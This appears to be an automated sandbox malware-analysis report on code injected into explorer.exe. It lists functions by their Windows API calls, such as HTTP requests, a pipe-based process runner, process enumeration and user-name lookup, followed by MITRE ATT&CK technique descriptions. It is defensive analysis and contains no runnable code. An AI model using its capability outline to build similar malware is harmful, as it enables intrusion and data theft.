Instruction Fuzzy Hash: B831102221AA91D6DB61DB24E48435FB3A4F7C4364F500726FAEE86AA8DF3CC545CB00

Function 0305B388 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

Strings

@, xrefs: 0305B39A

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @
API String ID: 2167126740-2766056989
Opcode ID: 2e93f9f6b96c1bd6ea69c113b3f2c8e4b302791aa10c0df241b540a453c9b905
Instruction ID: 0481be34d49ee6dd273ac2a819a78d201c49a6cc1f12eaf976defbdbec59482f
Opcode Fuzzy Hash: 2e93f9f6b96c1bd6ea69c113b3f2c8e4b302791aa10c0df241b540a453c9b905
Instruction Fuzzy Hash: 57E015A6229A8482D7109F24E45474BB760F7847B8F801301BAA90ABD8CBBCC108CF00

Function 03055078 Relevance: 1.6, APIs: 1, Instructions: 57
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetReadFile.WININET ref: 030550D4

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 29b86a3ab9ddbe11ce9b9fbde145847ecb2975815f7cf14476ac95fa9b6fe6b1
Instruction ID: e4d46b57cc763cfc05d8e10b255ffaac4f781d997a41f7cfc3b5b9165a27e8c7
Opcode Fuzzy Hash: 29b86a3ab9ddbe11ce9b9fbde145847ecb2975815f7cf14476ac95fa9b6fe6b1
Instruction Fuzzy Hash: 1721E8363296859BDB60CA19E45479AB7E5F3CCB84F804125EA8E83B58EB7DC644CF04

Function 030582B4 Relevance: 1.5, APIs: 1, Instructions: 13
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtFreeVirtualMemory.NTDLL ref: 030582E5

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: FreeMemoryVirtual
String ID:
API String ID: 3963845541-0
Opcode ID: db712fdc7e1c69cc4b3c08b17230264df9142ca57683cf2c056e2540a21d56f0
Instruction ID: 4bc0fa2586770e22982b23dddcd1680671003f5393507fc27f231c57ffece3ac
Opcode Fuzzy Hash: db712fdc7e1c69cc4b3c08b17230264df9142ca57683cf2c056e2540a21d56f0
Instruction Fuzzy Hash: 57E0EC72608A8182D7619B64E40438ABB64F3853B8F944305EAF816AE8CF7CC299CB04

Function 0305C704 Relevance: 1.5, APIs: 1, Instructions: 11
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDelayExecution.NTDLL ref: 0305C726

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: 551b8892589dcd62e4628d181c76442dc689c90fb238e82810fb464567079569
Instruction ID: 4f21d4ea45469e53f0ae5f3949b49ab8f7581cce462089660bcfe93428fbb235
Opcode Fuzzy Hash: 551b8892589dcd62e4628d181c76442dc689c90fb238e82810fb464567079569
Instruction Fuzzy Hash: 0CD0C77260968087CB155B18E44520E7764F795344FD04519E68D45758DE3CC265CF04

Function 030541B4 Relevance: 9.1, APIs: 6, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e74177ae8edb192d765eaf2097ca1072eb58028511075e98d8bdaa32260b05f
Instruction ID: 723406f8bd212960b5d86c33c395655c7c9730bdd40df6f7abc75b534c1a57fa
Opcode Fuzzy Hash: 9e74177ae8edb192d765eaf2097ca1072eb58028511075e98d8bdaa32260b05f
Instruction Fuzzy Hash: D831813521BB41C2E750DB76E8503AB72A8FB90365F801625FD6A466E4DF78C184CB04

Function 03055160 Relevance: 7.6, APIs: 5, Instructions: 146
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0305B388: NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

HttpOpenRequestA.WININET ref: 03055305
HttpOpenRequestA.WININET ref: 03055391
InternetSetOptionA.WININET ref: 030553D0
HttpSendRequestA.WININET ref: 03055418
HttpSendRequestA.WININET ref: 03055439

Part of subcall function 030582B4: NtFreeVirtualMemory.NTDLL ref: 030582E5

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: HttpRequest$MemoryOpenSendVirtual$AllocateFreeInternetOption
String ID:
API String ID: 2140924187-0
Opcode ID: 835e16c16b22b6174a5754b7d25c6c2f2fafd1e7607b4187fe6f6a54c6a90b8c
Instruction ID: 2d0498431418cbaf7cf30c3f29809077ce04a14962f043e323426f5f9ba417f1
Opcode Fuzzy Hash: 835e16c16b22b6174a5754b7d25c6c2f2fafd1e7607b4187fe6f6a54c6a90b8c
Instruction Fuzzy Hash: 8A71D27620AB8486EB61DB14F49439BB7A4F3C9784F540126EACE46A68DFBCC584CF40

Function 03058D3C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 03058D64
wsprintfA.USER32 ref: 03058D81

Strings

alfons, xrefs: 03058D7A, 03058D87

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: NameUserwsprintf
String ID: alfons
API String ID: 54179028-1092396413
Opcode ID: 74120f94081957b39dcb7d11c364901f8914ee27a4b2dd0b4ec9089b68c6a037
Instruction ID: db3b136511aae1936006a075d9f4e03cc77939200ce2e3cf13e90341c6b84d6a
Opcode Fuzzy Hash: 74120f94081957b39dcb7d11c364901f8914ee27a4b2dd0b4ec9089b68c6a037
Instruction Fuzzy Hash: BDF0ED71226A87D2EB61DF10E8603AB6324FB90748FC05026A14D879A8EF3CC71ACB40

Function 03058C30 Relevance: 4.5, APIs: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstVolumeW.KERNEL32 ref: 03058C6A
GetVolumeInformationW.KERNEL32 ref: 03058CBE
FindVolumeClose.KERNEL32 ref: 03058CCD

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Volume$Find$CloseFirstInformation
String ID:
API String ID: 586543143-0
Opcode ID: 143e719ddec52287121586d21c481339464cc0c977c9cf5c64880edffd785b6e
Instruction ID: 145a40ff7a6d50ee726e0b8c065fa48129f96e02bf9119840b87b23aba913229
Opcode Fuzzy Hash: 143e719ddec52287121586d21c481339464cc0c977c9cf5c64880edffd785b6e
Instruction Fuzzy Hash: 09113D7221AB40C6D761DB10F49439BB7A8F7C4350F904626E6D942AA8DF7CC649CB40

Function 03058A58 Relevance: 1.6, APIs: 1, Instructions: 94
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 03058B6D

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: dd05d69051d8526e51a2bec147cb8dd081a76b38c43059c36bd5d7d32c083d26
Instruction ID: 3eb2e8abf8524f152ee5f4d11855936bd3f7e452aaa282550c2dfef1b7068af6
Opcode Fuzzy Hash: dd05d69051d8526e51a2bec147cb8dd081a76b38c43059c36bd5d7d32c083d26
Instruction Fuzzy Hash: 6541997661AA4487DBA0CB19E49032AB7A4F7C8B94F544526FBCE83B28DB3CD551CF00

Function 03056C6C Relevance: 1.5, APIs: 1, Instructions: 17
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32 ref: 03056C90

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0926225cdb8231c0071b822caba6bf63f9d334e810094fff266de868dfe5a6cc
Instruction ID: bcc9759a7f141c845ff4ab5f371bdce0d966e1b4f3dbe4518664a7fb7ec7c504
Opcode Fuzzy Hash: 0926225cdb8231c0071b822caba6bf63f9d334e810094fff266de868dfe5a6cc
Instruction Fuzzy Hash: E3E04F72629B8485D7A4DB60F89535B6BA4F3C4394F846415F58B46B28CF3DC295CB00

Non-executed Functions

Function 03052164 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 206
pipefileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNEL32 ref: 03052233
SetHandleInformation.KERNEL32 ref: 0305224D
CreatePipe.KERNEL32 ref: 0305226E
SetHandleInformation.KERNEL32 ref: 03052288
CreatePipe.KERNEL32 ref: 030522A9
SetHandleInformation.KERNEL32 ref: 030522C3
CreateProcessW.KERNEL32 ref: 03052385

Part of subcall function 0305B388: NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

PeekNamedPipe.KERNEL32 ref: 03052434
ReadFile.KERNEL32 ref: 03052490
PeekNamedPipe.KERNEL32 ref: 030524E4
ReadFile.KERNEL32 ref: 03052540
GetExitCodeProcess.KERNEL32 ref: 03052579
TerminateProcess.KERNEL32 ref: 030525AA
CloseHandle.KERNEL32 ref: 030525B8

Part of subcall function 0305C704: NtDelayExecution.NTDLL ref: 0305C726

CloseHandle.KERNEL32 ref: 030525C6
CloseHandle.KERNEL32 ref: 030525D4
CloseHandle.KERNEL32 ref: 030525E2

Part of subcall function 030582B4: NtFreeVirtualMemory.NTDLL ref: 030582E5

Strings

h, xrefs: 030522C9

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Handle$Pipe$CloseCreate$InformationProcess$FileMemoryNamedPeekReadVirtual$AllocateCodeDelayExecutionExitFreeTerminate
String ID: h
API String ID: 30365702-2439710439
Opcode ID: 1524f5b28a2edb6cb4b23f8a254870fd250a8d12787243c2afd0398788242095
Instruction ID: 99594ce897f2ace97b3e61e1fa68d7729ec36c49885b2c94778994ca6f824758
Opcode Fuzzy Hash: 1524f5b28a2edb6cb4b23f8a254870fd250a8d12787243c2afd0398788242095
Instruction Fuzzy Hash: 49C1CD76209BC08AE760CF65F49439BB7A5F7C8744F408526EA8987A68DFBCC548CF40

Function 030580B8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 03058123
NtCreateFile.NTDLL ref: 030581A0

Strings

@, xrefs: 03058136
0, xrefs: 0305810B

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: CreateFileInitStringUnicode
String ID: 0$@
API String ID: 2498367268-1545510068
Opcode ID: 163a1ef7f33438d4532239550843a801b488fff278782a1d37a7daa1ffc6847a
Instruction ID: 58336d17e4e2c813db4cf473c72d8dc0ca287d991f067c9a88ed8398bae42984
Opcode Fuzzy Hash: 163a1ef7f33438d4532239550843a801b488fff278782a1d37a7daa1ffc6847a
Instruction Fuzzy Hash: 2E21AF721197848AE760DF14F45478BBBA4F3C4398F90821AE6D947AA8CB7DD589CF40

Function 03052B28 Relevance: 6.1, APIs: 4, Instructions: 112fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0305B388: NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

FindFirstFileA.KERNEL32 ref: 03052BE7
wsprintfA.USER32 ref: 03052CAD
FindNextFileA.KERNEL32 ref: 03052CDA
FindClose.KERNEL32 ref: 03052CED

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Find$File$AllocateCloseFirstMemoryNextVirtualwsprintf
String ID:
API String ID: 65906682-0
Opcode ID: 19b5a71f4bd669ed1cbe17d3c7cdf1e0173d750f2f9a06502065251e799152bb
Instruction ID: 9282651d19e14df35d4b30281c93f79c518676dff324dc8e93a0f5d917772338
Opcode Fuzzy Hash: 19b5a71f4bd669ed1cbe17d3c7cdf1e0173d750f2f9a06502065251e799152bb
Instruction Fuzzy Hash: CF514F3221AB8591DB60DB00F49039FB769FBC4344F844925FACE47A68EF78D645CB40

Function 0305891C Relevance: 3.1, APIs: 2, Instructions: 66COMMON

Download Yara Rule

APIs

RtlGetVersion.NTDLL ref: 03058951
GetVersionExW.KERNEL32 ref: 03058966

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 3b2eb498cd8b652199b58d72c6b67949bfdd49cd34e56e752f0e54b4f45b47f9
Instruction ID: 9633e75301e19ee84b790bf5fbe10de38fc7042378ef09880cdd2eec69e704cd
Opcode Fuzzy Hash: 3b2eb498cd8b652199b58d72c6b67949bfdd49cd34e56e752f0e54b4f45b47f9
Instruction Fuzzy Hash: B931AE7162B680CBEBB0CB00E49832BB6A4F385759F48A55AFEC605958C77CC5C8CF06

Function 0305C860 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 0305C8CC
HttpOpenRequestW.WININET ref: 0305C91E
InternetCloseHandle.WININET ref: 0305C9DA
InternetCloseHandle.WININET ref: 0305C9ED

Strings

GET, xrefs: 0305C912

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Internet$CloseHandle$ConnectHttpOpenRequest
String ID: GET
API String ID: 830097650-1805413626
Opcode ID: 657b085bd4e3b228aebded96fa21e341c1e22246fcb3bdea63752328c3324ad3
Instruction ID: ee621aeb24084ceea56d91a34c3dae90a55a47a61acb294bee31a8cc01477457
Opcode Fuzzy Hash: 657b085bd4e3b228aebded96fa21e341c1e22246fcb3bdea63752328c3324ad3
Instruction Fuzzy Hash: FF41C072119A8082E760CB54F86975BB7A4F3C4798F205116EBCA83A68DFBDC558CF40

Function 03052D50 Relevance: 15.2, APIs: 10, Instructions: 232processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 03052D7F

Part of subcall function 0305B388: NtAllocateVirtualMemory.NTDLL ref: 0305B3BE

Process32First.KERNEL32 ref: 03052E09
Process32Next.KERNEL32 ref: 03052E2A
Process32First.KERNEL32 ref: 03052E56
Process32Next.KERNEL32 ref: 03052EA3
Process32First.KERNEL32 ref: 03052EBA
wsprintfA.USER32 ref: 03052FF5
wsprintfA.USER32 ref: 0305309B
Process32Next.KERNEL32 ref: 030531D8
CloseHandle.KERNEL32 ref: 030531F5

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Process32$FirstNext$wsprintf$AllocateCloseCreateHandleMemorySnapshotToolhelp32Virtual
String ID:
API String ID: 3605396869-0
Opcode ID: 8df3ec741e24db44c491636e4838e4e767a92c727dd18a58b057ff5a21d5a57b
Instruction ID: 6573af5f5f088cb95aba6b03be371ade86be9a79526002b328623ca5adbd1886
Opcode Fuzzy Hash: 8df3ec741e24db44c491636e4838e4e767a92c727dd18a58b057ff5a21d5a57b
Instruction Fuzzy Hash: 4AC1F83620AB8595DA70DB14F4903DBB7A5FBC8784F844525EACE47B68EF38C649CB40

Function 0305BB44 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 0305BBB2
MapViewOfFile.KERNEL32 ref: 0305BBE5
VirtualFree.KERNEL32 ref: 0305BCF3
UnmapViewOfFile.KERNEL32 ref: 0305BD0B
CloseHandle.KERNEL32 ref: 0305BD16

Strings

@, xrefs: 0305BBCC

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: File$View$CloseCreateFreeHandleMappingUnmapVirtual
String ID: @
API String ID: 1610889594-2766056989
Opcode ID: ad1cb295e95c51e9872045dcc49814874592f1d56c5c39f8443b6ff2deebca5c
Instruction ID: 7599f30a5aeeebc28f9326d8f89a9e7e5425c541ea04673a25323a04dd46c0ac
Opcode Fuzzy Hash: ad1cb295e95c51e9872045dcc49814874592f1d56c5c39f8443b6ff2deebca5c
Instruction Fuzzy Hash: CC41D33622AB8586DBA0DB15E49036FB7A4F7C4B90F405521FA8E87B68DF7CD544CB40

Function 0305C5C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32 ref: 0305C62E
MapViewOfFile.KERNEL32 ref: 0305C661
VirtualFree.KERNEL32 ref: 0305C6BE
UnmapViewOfFile.KERNEL32 ref: 0305C6D6
CloseHandle.KERNEL32 ref: 0305C6E1

Strings

@, xrefs: 0305C648

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: File$View$CloseCreateFreeHandleMappingUnmapVirtual
String ID: @
API String ID: 1610889594-2766056989
Opcode ID: 89cc15fca75ace34c048844633d37e36198ece7b99378586f91bb717b3fa10ee
Instruction ID: f92fa8248e161e8a4b3c51c8fdbfb1b717e7fe0d31a2eb4b50bd707aae13f060
Opcode Fuzzy Hash: 89cc15fca75ace34c048844633d37e36198ece7b99378586f91bb717b3fa10ee
Instruction Fuzzy Hash: 3C31183621AF8582E7A0DB14F49435BB7A4F7C4B94F405525EA8E53BA8DFBCC584CB00

Function 0305260C Relevance: 7.7, APIs: 5, Instructions: 174processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0305262E
Process32First.KERNEL32 ref: 03052671
wsprintfA.USER32 ref: 030527B4
wsprintfA.USER32 ref: 0305284E
Process32Next.KERNEL32 ref: 03052970

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Process32wsprintf$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 4137211488-0
Opcode ID: f7cf74ccca81ea4395c2b22979aaa675c72b38b0cad517df50d9b68bbf6d3949
Instruction ID: 22690a9fc52ef38e4ccad95e9e788f4d623b8b67f711f7682ab00e2dfec0c94a
Opcode Fuzzy Hash: f7cf74ccca81ea4395c2b22979aaa675c72b38b0cad517df50d9b68bbf6d3949
Instruction Fuzzy Hash: AB81EA3621AB85D6DA60DB14E49039BB3A8FBC8780F544525EECD47B68EF38D645CF40

Function 0305900C Relevance: 7.6, APIs: 5, Instructions: 121networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 03059073
InternetCloseHandle.WININET ref: 03059242
InternetCloseHandle.WININET ref: 03059255

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: Internet$CloseHandle$Open
String ID:
API String ID: 2762225225-0
Opcode ID: f4ab23ea1251bde643204e4cb4ec55d253b41b4cc402ec1216c39552ba1b096d
Instruction ID: 7cb75d4d427db2a585dc3996cbdbd722d27d60d2dbec7a119fbddb3cd35f7505
Opcode Fuzzy Hash: f4ab23ea1251bde643204e4cb4ec55d253b41b4cc402ec1216c39552ba1b096d
Instruction Fuzzy Hash: 1651BD7622AB80C6DBA0CB59E49475FB7A0F3C5794F40502AFB8A87A68DF7DC444CB04

Function 0305B9A0 Relevance: 7.6, APIs: 5, Instructions: 79processCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0305BA70
wsprintfW.USER32 ref: 0305BAC2
CreateProcessW.KERNEL32 ref: 0305BB11
CloseHandle.KERNEL32 ref: 0305BB24
CloseHandle.KERNEL32 ref: 0305BB2F

Memory Dump Source

Source File: 00000008.00000002.3332728030.0000000003050000.00000040.00000001.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3050000_explorer.jbxd

Similarity

API ID: CloseHandlewsprintf$CreateProcess
String ID:
API String ID: 2803068115-0
Opcode ID: e34008a14b46bdf237dcb82eb44399d81f95163e5711bd1a836f86fc25367b22
Instruction ID: dbe26dcee0e0ba479ebb5dcf03da0ea20377e10942cf66bbb615564f60bf6ec1
Opcode Fuzzy Hash: e34008a14b46bdf237dcb82eb44399d81f95163e5711bd1a836f86fc25367b22
Instruction Fuzzy Hash: D541077621AB85D6DB60DB10E4903AFB7A4F7C8384F404426EAC942A68EF7CD559CF40

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

